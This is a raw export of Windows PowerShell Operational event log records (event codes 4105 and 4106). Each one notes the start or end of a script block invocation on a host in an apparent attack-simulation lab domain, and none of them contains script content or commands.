OpCode=On create calls
RecordNumber=2039135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039129
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039127
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039126
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039109
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039103
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
